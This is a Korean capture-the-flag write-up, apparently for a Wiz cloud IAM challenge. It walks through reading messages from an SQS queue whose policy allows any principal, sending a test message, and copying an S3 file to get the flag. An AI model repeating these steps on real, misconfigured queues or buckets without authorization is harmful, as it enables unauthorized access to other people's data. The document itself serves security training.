{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}
위 소스코드는 Amazon SQS 리소스에 대한 접근권한을 정의하고 있다.
권한을 요약하자면,
-> 모든 사용자/서비스에 대해서 sqs:SendMessage
(메시지 전송), sqs:ReceiveMessage
(메시지 수신) Allow
상태
따라서, aws sqs receive-message
명령어를 통해서 SQS 대기열에서 메시지를 가져와보도록 했다.
--queue-url
명령어https://sqs.us-east-1.amazonaws.com/092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2
이다.> aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374:wiz-tb
ic-analytics-sqs-queue-ca7a1b2
An error occurred (AWS.SimpleQueueService.NonExistentQueue) when calling the ReceiveMessage o
peration: The specified queue does not exist for this wsdl version.
But 오류 발생.
https://sqs.us-east-1.amazonaws.com/092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2
이번에도 ARN 형식이 아니라 Protocol 형식으로 써야하는 것 같다
: 를 / 로 수정해야하고 아래와 같이 다시 시도했다.
> aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
{
"Messages": [
{
"MessageId": "2efc50cb-17e0-40a1-874e-abb60cb6a4c6",
"ReceiptHandle": "AQEBj07T6xCszBCsHaRCkD/Y3of0UHBAHPHduVgoGvLhDHKgcmfxBcEGFtMYVpqhaGOtIO7WRbOJY9Hpjv1i1kjHKCPyUZdofOCFYVL7
JlCiTWVaaiP9vsoJy0RNgZyPASbn3IFAVPi0vJAdouKTLJHxJlWkLB7gNsAmu+RtWg97xNUvNhS1mzdM1FP4Zn/nAAtie0w+DjnCtLG0ELVDnt6X9Y22UK8VZ8s3lc0zFlFfnb
1Bdwf4a7+Q4S/BkVkaWSI/xY7z67mJvKqVNsEwcloqvTXAF+fqcacqK/PHieHsjH00wtRyAkkA6uJ0VM3TxqtyVm8Cd8wZaOZZMbTJY/E+KhY4mZizx9zNetO6ydo0MjsfIsPu
b1Hgsr1GPUdVTeICBRePUMWiP9/nuEi5pEqBi4dn4m47mBYnwZ8SmRPU/yg=",
"MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
"Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/
2.5329.3258dev.35046 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
}
]
}
"MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd"
가 Body 의 MD5 해시 값이다.
실제 데이터는 아래에서 확인할 수 있다.
"Body": "{\"URL\": \"https://tbic-wiz-analytics-bucketb44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046 libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
aws sqs send-message
명령어를 사용하여 아래 형식으로 전송하면 된다.```json
> aws sqs send-message \
--queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-
ca7a1b2 --message-body "This is a test message."
{
"MD5OfMessageBody": "f8900247f0d5874f453318549411c6fa",
"MessageId": "eca84661-50c1-45cf-9405-c8f413c0044d"
}
```
별 소득은 없었다,, 그러나, 아래에 보면!
"https://tbic-wiz-analytics-bucketb44867f.s3.amazonaws.com/pAXCWLa6ql.html\"
잘보면 s3 url 이라는 것을 알 수 있다.
→ 즉, S3 버킷의 특정 HTML 파일(pAXCWLa6ql.html
)에 대한 URL 이라는 뜻이다.
이 html 파일을 S3 cp 했던 방식대로 한번 복사하게 된다면, 아래와같이 플래그를 얻을 수 있다.
> aws s3 cp s3://tbic-wiz-analytics-bucket-b44867f/pAXCWLa6ql.html /tmp/temp.html
Completed 40 Bytes/40 Bytes (410 Bytes/s) with 1 file(s) remainingdownload: s3://tbic-wiz-anal
ytics-bucket-b44867f/pAXCWLa6ql.html to ../../tmp/temp.html
cat /tmp/temp.html
{wiz:you-are-at-the-front-of-the-queue}